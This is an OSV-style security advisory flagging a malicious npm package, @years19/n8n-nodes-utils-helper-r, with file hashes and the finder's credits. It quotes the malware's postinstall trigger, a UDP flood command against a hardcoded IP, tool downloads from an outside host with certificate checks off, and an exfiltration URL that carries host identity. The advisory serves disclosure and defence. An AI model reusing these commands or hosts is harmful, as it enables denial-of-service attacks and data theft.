@years19/n8n-nodes-utils-helper-r

{"modified":"2026-08-12T15:08:38Z","published":"2026-08-12T15:08:38Z","schema_version":"1.7.4","id":"MAL-2026-13901","summary":"Malicious code in @years19/n8n-nodes-utils-helper-r (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (be854b019d25df27d59e1f9bf2b336b967309c348b80b0f2b89fa5ce65408afc)\nThe package declares `postinstall: node callback.js` and its `main` (index.js) is byte-identical to callback.js, so both `npm install` and `require('@years19/n8n-nodes-utils-helper-r')` trigger the same payload. At those trigger points the code fetches multiple tarballs (mhddos, PyRoxy, impacket) from `https://jasabersama.id/assets/cache/.theme-backup/dl/` over TLS with certificate validation disabled (`rejectUnauthorized:false`), extracts them into `/tmp` and into the user's Python site-packages, and spawns long-running Python flood processes against the hardcoded target `103.118.252.21:80` via `nohup python3 start.py UDP 103.118.252.21:80... &`. In parallel, callback.js/index.js collect installer host identity (`id`, `hostname`, Python version, dependency presence, attack log tails), base64-encode the output, and send it in a query string to `https://jasabersama.id/portfolio-data.php?k=S7k9xQ2mZj&c=<b64>`. The load-time duplicate ensures the attack chain still fires when `--ignore-scripts` suppresses postinstall.\n","affected":[{"package":{"ecosystem":"npm","name":"@years19/n8n-nodes-utils-helper-r"},"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"callback.js","sha256":"bb7bc039d152928394bf9f0346bb2344c273c7006777bf9a53a9b5c6c3515679","tlsh":"625185f91561913c003311689b27e97ae72fa20758a0fdc9fa8e57725f01628da4fb64"},{"path":"index.js","sha256":"bb7bc039d152928394bf9f0346bb2344c273c7006777bf9a53a9b5c6c3515679","tlsh":"625185f91561913c003311689b27e97ae72fa20758a0fdc9fa8e57725f01628da4fb64"}],"package_integrity":[{"filename":"n8n-nodes-utils-helper-r-1.0.0.tgz","hashes":{"sha1":"48bc40a09fe5392492c0d34080e701538fe6c8f2","sha512_sri":"sha512-FUBS0iom8TIVRju7nLRTtYj68uVPsz/rJOVa/vdOzmAS2uWpypp+m1m/maipIcs3rwoyxhK5SVnFSccn5q129g=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@years19/n8n-nodes-utils-helper-r/v/1.0.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-017587","import_time":"2026-08-12T15:26:12.184443695Z","modified_time":"2026-08-12T15:08:38Z","sha256":"be854b019d25df27d59e1f9bf2b336b967309c348b80b0f2b89fa5ce65408afc","source":"amazon-inspector","versions":["1.0.0"]}]}}